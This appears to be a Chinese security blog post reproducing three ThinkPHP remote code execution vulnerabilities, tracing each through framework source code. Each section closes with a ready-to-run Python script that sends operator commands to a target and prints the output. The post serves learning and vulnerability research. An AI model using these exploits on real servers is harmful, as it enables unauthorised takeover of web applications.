ukysblog
首页项目归档刷题记录照片墙音乐说说杂谈友链关于
封面

Thinkphp漏洞复现(持续更新)

2026-6-4 20:33:00
# CVE
# 框架

十年磨一剑

Thinkphp 2.x

适用于thinkphp2.x-3.0,php<7.0

原理

核心漏洞在Dispatcher.class类的定义

if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
    $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
    if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
        $var[C('VAR_MODULE')]  =   array_shift($paths);
    }
    $var[C('VAR_ACTION')]  =   array_shift($paths);
    // 解析剩余的URL参数
    $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";',implode($depr,$paths));
    $_GET = array_merge($var,$_GET);
}

routerCheck()方法本来是用于拆路由的,但里面写了这么一句话

if(!C('URL_ROUTER_ON')) return false; // 配置优先

C()是用来引用常量的

再看URL_ROUTER_ON的默认值

'URL_ROUTER_ON'=> false,

那看来路由无论怎么输都会跳到(!self::routerCheck()),恰好这里就有漏洞

首先$_SERVER['PATH_INFO']指的是路由里入口文件到?传参之间的路由

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等信息的 [array]

http://域名/【index.php或其他或无】/【这部分就是PATH_INFO】?【这部分是$_GET】

这部分路由会被切成数组,第一个索引定义为模块然后array_shift()移出,第二个索引被定义为VAR_ACTION我也不知道什么东西,然后被移除数组

关键的来了,剩下的会被转换成字符串然后替换成传参形式

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";',implode($depr,$paths));

\1指代第一个捕获(\w+),\2指代第二个捕获([^'.$depr.'/]+)

这个$depr是个常量,就是个分隔符

$depr = C('URL_PATHINFO_DEPR');
'URL_PATHINFO_DEPR' => '/'

\e修饰符是漏洞核心,在replace中使用。会把替换内容当做php代码执行(该修饰符在php7.0的版本后彻底废弃)

也就是说这部分意思是把a/b替换成$var[a]=b然后执行$var[a]=b

刚好php里可以使用${}返回函数执行结果,索性我们把路由修改成${},而且前面至少有三个路径

index.php/a/b/c/${phpinfo()}
Snipaste_2026-06-04_20-03-09.png

不知道为什么不能加引号'',可能是phpthink会自动把''等字符进行转义

完整exp
import requests
url = input()
sink = '${system($_GET[cmd]) && exit()}'
while True:
    param = input()
    payload = f"{url}/index.php/a/b/c/{sink}"
    res = requests.get(payload,params={'cmd':param})
    print(res.text)
Snipaste_2026-06-04_20-27-12.png

Thinkphp 5.x

0x01 5.0.23 远程代码执行漏洞

ThinkPHP 5.0.x < 5.0.23 ThinkPHP 5.1.x < 5.1.31 php任意版本

原理

这个链子真看得我想哭,不多说了。要理解这个链子,先搞懂全局变量和局部变量

$a = 'uky'
private function uuu($a = 123){
    echo $a; // 局部变量123
    echo $this->a; // 全局变量uky
}

在request.php找到了危险函数call_user_func()

call_user_func(函数,参数)

private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters); 
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        }
    }
}

$filters要传['system'],$value要传命令,先记下来。再找谁调了filterValue

找到两个,一个是cookie()另一个是input(),但好像cookie()在框架里永远不会被调用,于是排除

public function input($data = [], $name = '', $default = null, $filter = '')
{   
    if (false === $name) {
        // 获取原始数据
        return $data;
    }
    $name = (string) $name;
    if ('' != $name) {
        // 按.拆分成多维数组进行判断
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                // 无输入数据,返回默认值
                return $default;
            }
        }
    }
    $filter = $this->getFilter($filter, $default); // 注意这里

    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        // array_walk_recursive()把data的每一个值都执行this.filterValue,$filter作为参数
        reset($data);
    } else {
        $this->filterValue($data, $name, $filter);
    }
    return $data;
}

php里' '不是false而是true

注意这里如果name不为空不为false就会按点切成数组,如果data也有name数组里的值,就塞进data给array_walk_recursive处理,而array_walk_recursive就会触发filterValue

$filter仍是['system'],现在要给$data传命令,而且还不能让$name为false

再看谁调用了input()

一个是server()

protected $server  = [];
public function server($name = '', $default = null, $filter = '')
{
    if (empty($this->server)) {
        $this->server = $_SERVER;
    }
    if (is_array($name)) {
        return $this->server = array_merge($this->server, $name);
    }
    return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

如果$server为空,他会把$_SERVER字典传给了$data;$name说不上来,先搁着;函数传给input时$filter = ' ',但传到input里会用getFilter()把全局变量$filter赋值给传进去的 ' ' $filter,所以还要想办法控制全局变量$filter

另一个是param()

public function param($name = '', $default = null, $filter = '')
{
    if (empty($this->mergeParam)) {
        $method = $this->method(true);
        // 自动获取请求变量
        switch ($method) {
            case 'POST':
                $vars = $this->post(false);
                break;
            case 'PUT':
            case 'DELETE':
            case 'PATCH':
                $vars = $this->put(false);
                break;
            default:
                $vars = [];
        }
        // 当前请求参数和URL地址中的参数合并
        $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
        $this->mergeParam = true;
    }
    if (true === $name) {
        // 获取包含文件上传信息的数组
        $file = $this->file();
        $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
        return $this->input($data, '', $default, $filter);
    }
    return $this->input($this->param, $name, $default, $filter);
}

这个会在传参的时候调用。注意这里mergeParam其实有值,去看第四行用到的method方法:如果按正常思路,REQUEST_METHOD会交给server当作$name处理,而server又会把$server和$name交给input,input会把$data = $_SERVER;$name = REQUEST_METHOD交给input,经过input的数组处理,最终全局变量$data = $_SERVER[REQUEST_METHOD]

还记得$data要传命令吗,正常情况下我们不可能随意篡改$_SERVER[]数组,所以这个路线行不通。相反我们要避免这条路线,不能使$server为空,还要让$data = 命令

所以如果能改,$server必须要篡改成[REQUEST_METHOD => '命令'],这样在input切数组时发现$data[REQUEST_METHOD]是存在的,于是把$data[REQUEST_METHOD]的值赋给$data,解决了命令执行问题

所以当务之急是找到改$filter和$server的方法

protected $method;
'var_method' => '_method'
public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

注意method函数里默认情况下$method = false,如果为false就会获取$POST参数里的_method转大写然后动态执行,读取$POST里的参数,这就是传参的入口

$this->{$this->method}() // $this->method是一个字符串,表示方法名。如果此类有这个方法,再次$this->引用就会调用这个方法

现在我们开始讨论如何通过传参的方式修改$data和$filter,刚好这个类有个魔术方法可以覆盖变量

protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
}

由于php函数大小写不影响函数使用,结合method的动态调用,我们可以覆盖$server和$filter的全局变量

$this->method = $_POST[_method] = __construct
$this->{$this->method}($_POST); <=> $this->__CONSTRUCT($POST)
payload:POST传值
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

但这个是不能生效的,因为我们忽略了一个小细节:method函数会把_method赋给全局变量$method然后return。而route.php里的check方法则调用了method()

private static $rules = [
    'get'     => [],
    'post'    => [],
    'put'     => [],
    'delete'  => [],
    'patch'   => [],
    'head'    => [],
    'options' => [],
    '*'       => [],
    'alias'   => [],
    'domain'  => [],
    'pattern' => [],
    'name'    => [],
];
$method = strtolower($request->method());
// 获取当前请求类型的路由规则
$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];

如果传过来的路由表没有,check()函数就设置$rule为[]并return false。return false会有什么后果呢。app.php规定了

$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
if ($must && false === $result) {
    // 路由无效
    throw new RouteNotFoundException();
}

为了避免报错,我们需要利用__construct把全局变量$method设置为$rules方法里的任意一种,所以POST的传值应改为

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

还记得param必须要传参才能触发吗,准确的说必须要传?s=路由才能触发

protected static function exec($dispatch, $config)
{
    switch ($dispatch['type']) {
        case 'controller':
            $vars = array_merge(Request::instance()->param(), $dispatch['var']);
            $data = Loader::action($dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix']);
            break;
		case 'method':
            $vars = array_merge(Request::instance()->param(), $dispatch['var']);
            $data = self::invokeMethod($dispatch['method'], $vars);
            break;
            
        // ...
    }
}

s 是一个极其特殊的系统级参数:兼容模式路由

现代 PHP 框架推崇的 URL 格式是依靠 PATH_INFO机制的,长这样:

http://example.com/index.php/index/user/login

早年间,很多服务器(特别是旧版的 Nginx、IIS 或者某些廉价虚拟主机)默认不支持 PATH_INFO。于是就有了s参数负责传递路由

exec()会根据你传入的路由来判断属于哪一种类型,然后调用该类型下的instance()->param()。所以必须要传入真实路由才能触发param()

常用的是captcha路由,他是thinkphp用来搞验证码的扩展模块

故RCE还需要传参?s=captcha

Snipaste_2026-06-05_14-03-19.png
完整exp
import requests
url = input('攻击地址: ')
user_input = input('需要给定合法路由(默认为captcha): ').strip()
route = user_input if user_input else 'captcha'
f_url = f"{url}/index.php"
while True:
    get_params = {
        's' : f"{route}"
    }
    order = input('> ')
    get_data = {
        '_method' : '__construct',
        'filter[]' : 'system',
        'method' : 'get',
        'server[REQUEST_METHOD]': f"{order}"
    }
    res = requests.post(f_url,params=get_params,data=get_data,timeout=3)
    if '<!DOCTYPE html>' in res.text:
            output = res.text.split('<!DOCTYPE html>')[0].strip()
    print(output)
Snipaste_2026-06-05_14-36-50.png

这个漏洞核心在于filterValue函数的call_user_func调用,而filterValue又被input调用,input又被param调用,param又被路由调度调用,所以我们需要通过传参的方式来触发这个链子。由于method函数的动态调用,我们可以利用__construct覆盖全局变量$filter和$server,从而实现远程代码执行。

0x02 5.0.22/5.1.29 远程代码执行漏洞

ThinkPHP 5.0.x <= 5.0.22,ThinkPHP 5.1.x <= 5.1.30,php>5.x

原理

🤮

核心漏洞:php为了解决命名冲突,在5.x引入了命名空间,在类里使用namespace MyProject;,不同命名空间下引用同一个变量名/函数名不会引发冲突。php允许使用\来代表全局命名空间

比如\think\app,指的是 /thinkphp/library/think/ 下的app.php

Thinkphp有一个核心机制,就是路由映射表。他会将访问的路由映射成命名空间,通过命名空间查找文件。它的漏洞也在这里,可以让人访问任意命名空间,包括核心代码。rce流程如下:

App.php里的module方法负责调度模块,实现操作方法,由路径控制,它的工作方法是这样的
路径的参数由$result控制

if (is_string($result)) {
    $result = explode('/', $result);
}

第一个路由 result[0]:模块初始化

if ($config['app_multi_module']) {
    // 多模块部署
    $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
    $bind      = Route::getBind('module');
    $available = false;
}
// default_module默认为index

第二个路由 result[1]:控制器

// 获取控制器名,如果$convert为布尔值且为false就会传result,$convert默认为false
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;
try {
    $instance = Loader::controller(
        $controller, // $result[1]路由
        $config['url_controller_layer'], // controller
        $config['controller_suffix'], // false
        $config['empty_controller'] // Error
    );

漏洞点在控制器处,在我们看看Loader::controller原本是怎么运作的

public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
    list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);
    // list先分装$module和$class
    if (class_exists($class)) {
        return App::invokeClass($class);
    }
	// 如果class存在,调用invokeClass
    if ($empty) {
        $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);
        if (class_exists($emptyClass)) {
            return new $emptyClass(Request::instance());
        }
    }

    throw new ClassNotFoundException('class not exists:' . $class, $class);
}

看getModuleAndClass是如何分装的

protected static function getModuleAndClass($name, $layer, $appendSuffix)
{
    if (false !== strpos($name, '\\')) {
        $module = Request::instance()->module();
        $class  = $name;
        // 如果$name首次出现的位置不为false,则class直接等于name
    } else {
        if (strpos($name, '/')) {
            list($module, $name) = explode('/', $name, 2);
        } else {
            $module = Request::instance()->module(); // 实例化并返回该模块
        }
        $class = self::parseClass($module, $layer, $name, $appendSuffix);
    }

    return [$module, $class];
}

结合前面传的参数,getModuleAndClass只会使用parseClass进行处理,我们重点看这个parseClass是如何处理$class的

public static function parseClass($module, $layer, $name, $appendSuffix = false)
{
// $module是经过实例化的模块 $layer是'controller',$name是$result[1]路由,$appendSuffix为false
    $array = explode('\\', str_replace(['/', '.'], '\\', $name)); // 返回""
    $class = self::parseName(array_pop($array), 1); // 抽空数组
    $class = $class . (App::$suffix || $appendSuffix ? ucfirst($layer) : ''); //false
    $path  = $array ? implode('\\', $array) . '\\' : '';  // 返回\
    // think\module\controller\$name
    return App::$namespace . '\\' .
        ($module ? $module . '\\' : '') .
        $layer . '\\' . $path . $class;
}  

第一步:由于$name里无\,所以str_replace处理完还是$name,变成数组只有他一个[0=>$name]

第二步:array_pop会把原数组元素pop掉然后返回pop出的元素,数组变成空数组(null),$class经parseName处理变成首字母大写的"$name"

第三步:由于App::$suffix 和 $appendSuffi 都为false,所以class=" ".' ' =" "

第四步:$array变空了,所以返回' '

最终return:think\$module\controller\$name

然后逆着看,再controller里就会查找think\$module\controller\$name这个类是否存在,存在就调用invokeClass

public static function invokeClass($class, $vars = [])
{
    $reflect     = new \ReflectionClass($class);
    $constructor = $reflect->getConstructor();
    $args        = $constructor ? self::bindParams($constructor, $vars) : [];

    return $reflect->newInstanceArgs($args);
} 

这段代码你可以把它理解为php版的反射,获得该类的构造方法然后实例化该类

讲完这么多,漏洞所在其实很容易被发现。假如我们传给$name的是\think\app,因为 0 !== false那么getModuleAndClass函数就不会走parseClass,而是直接return\think\app。那么invokeClass时就会把他当作命名空间,从而把/thinkphp/library/think/app.php给实例化了

再看第三个路由 result[2]:操作名

// $convert = null
// 'url_convert' => true
$convert = is_bool($convert) ? $convert : $config['url_convert'];
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;
// 'default_action'  => 'index'
//  action_convert在config里无初始值
$actionName = strip_tags($result[2] ?: $config['default_action']);
if (!empty($config['action_convert'])) {
    $actionName = Loader::parseName($actionName, 1);
} else {
    $actionName = $convert ? strtolower($actionName) : $actionName;
}
$request->controller(Loader::parseName($controller, 1))->action($actionName);
// 链式调用存储$result[1]和$result[2]
$action = $request->action() ? $request->action() : $config['default_action'];
// 取出$result[2]给$action
$call = [$instance, $action];
// 和$result[1]的实例一起封装
try {
        $data = self::invokeMethod($call, $vars);
    // 调用invokeMethod
    } catch (\ReflectionException $e) {
        // ...
    }

我们看一下invokeMethod方法

public static function invokeMethod($method, $vars = [])
{
    if (is_array($method)) {
        $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
        $reflect = new \ReflectionMethod($class, $method[1]);
    } else {
        // 静态方法
        $reflect = new \ReflectionMethod($method);
    }
    return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}

和java很像,用于调用实例化后的$result[1]的$result[2]方法

那app类有什么我们可以控制参数的危险方法吗

public static function invokeFunction($function, $vars = [])
{
    $reflect = new \ReflectionFunction($function);
    $args    = self::bindParams($reflect, $vars);

    // 记录执行信息
    self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

    return $reflect->invokeArgs($args);
}
private static function bindParams($reflect, $vars = [])
{
    // 自动获取请求变量
    // url_param_type为空
    if (empty($vars)) {
        $vars = Config::get('url_param_type') ?
        Request::instance()->route() :
        Request::instance()->param();
		// param() 方法会把当前请求的 $_GET、$_POST、$_ROUTE 里的所有参数全部打包成一个大数组赋值给 $vars
    }

    $args = [];
    if ($reflect->getNumberOfParameters() > 0) {
        // 判断数组类型 数字数组时按顺序绑定参数
        reset($vars);
        $type = key($vars) === 0 ? 1 : 0;

        foreach ($reflect->getParameters() as $param) {
            $args[] = self::getParamValue($param, $vars, $type);
        }
        // $param = [ $function, $vars = [] ]
        // 去你刚刚收集的那个 $vars 数组里,寻找跟 $param 同名的键值,把它抽出来
    }

    return $args;
}

用这个方法传参,$function传危险函数

搭配bindParams,$vars = [] 可以通过get,post形式传参。至此这条链子也打通了

function不推荐使用system,因为bindParams会遍历function的定义参数:

system ( string $command , int &$return_var = null )

第二个是引用传参,应该传地址,这里不好构造。推荐传

call_user_func_array ( callable $callback , array $param_arr )

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
完整exp
import requests
url = input()
while True:
    cmd = input()
    paras = {
        's' : 'index/\\think\\app/invokefunction'
    }
    data = {
        'function': 'call_user_func_array',
        'vars[0]': 'system',
        'vars[1][]': cmd
    }
    try:
        res = requests.post(url, params=paras , data=data, timeout=10, verify=False)
        print(res.text)
    except Exception as e:
        print(f"Error: {e}")

Snipaste_2026-06-11_20-57-19.png

总结一下这个漏洞,归根结底是thinkphp的命名空间机制和自动加载机制引起的。由于thinkphp把\think\app这个命名空间直接映射到源码目录下的app.php文件,所以当我们传入\think\app时就会直接实例化app.php这个类,而app.php里又有个invokeFunction方法可以调用任意函数,最终导致了远程代码执行漏洞。
所以后续版本就是给$controller加了个正则,不允许使用\

$controller = strip_tags($result[1] ?: $config['default_controller']);
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}
avatar

uky

后端安全方向,ctf-web手

RECOMMENDED

带你体验第一视角手撕CC链

2026-5-14 21:10:00

floor(rand(0)*2)的奥秘

2025-11-11 09:00:00

Java反序列化-基础部分

2026-3-31 09:00:00

Table of Contents